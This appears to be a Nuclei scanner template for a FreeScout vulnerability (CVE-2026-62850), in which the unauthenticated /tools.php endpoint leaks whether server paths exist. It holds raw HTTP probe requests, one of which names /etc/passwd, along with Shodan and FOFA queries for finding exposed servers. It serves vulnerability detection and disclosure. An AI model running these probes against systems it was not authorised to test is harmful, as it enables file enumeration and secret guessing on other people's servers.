Description
FreeScout before 1.8.225 exposes the maintenance endpoint /tools.php without authentication; different responses to existing and non-existing PHP paths disclose filesystem path existence before credential validation.
FreeScout before 1.8.225 exposes the maintenance endpoint /tools.php without authentication; different responses to existing and non-existing PHP paths disclose filesystem path existence before credential validation.
id: CVE-2026-62850
info:
name: FreeScout < 1.8.225 - Unauthenticated Maintenance File Existence Oracle
author: maulanawirawan
severity: medium
description: |
FreeScout before 1.8.225 exposes the maintenance endpoint /tools.php without authentication; different responses to existing and non-existing PHP paths disclose filesystem path existence before credential validation.
impact: |
An unauthenticated attacker can enumerate server file and directory paths and make unthrottled guesses of application and database secrets.
remediation: |
Upgrade FreeScout to 1.8.225 or later and restrict access to the maintenance endpoint.
reference:
- https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-w2p9-3666-vw9j
- https://github.com/freescout-help-desk/freescout/commit/8bb0594e95eab6661b4372e94ac02f62a6c3cb28
- https://github.com/freescout-help-desk/freescout/releases/tag/1.8.225
- https://nvd.nist.gov/vuln/detail/CVE-2026-62850
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-62850
cwe-id: CWE-287
metadata:
verified: true
max-request: 2
vendor: freescout
product: freescout
shodan-query: 'http.title:"FreeScout"'
fofa-query: 'title="FreeScout" || body="freescout"'
tags: cve,cve2026,freescout,unauth,disclosure,vuln
http:
- raw:
- |
POST /tools.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
app_key=x&db_password=x&php_path=/nonexistent-{{rand_base(12)}}
- |
POST /tools.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
app_key=x&db_password=x&php_path=/etc/passwd
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200 && status_code_2 == 200'
- 'contains(body_1, "<title>FreeScout Tools</title>") && contains(body_2, "<title>FreeScout Tools</title>")'
- 'contains(body_1, "PHP executable not found") && contains(body_2, "Directory is not allowed")'
- '!contains(body_2, "PHP executable not found")'
condition: and
# digest: 4a0a00473045022100c43fe1bf8d7c8fd2bd3d39623602412066f94056197b02de81fbcad6366b81ce02207dd007b92bd17fd360f2fcac15c042582233114b95d2b2cf7ca5340112f4738f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.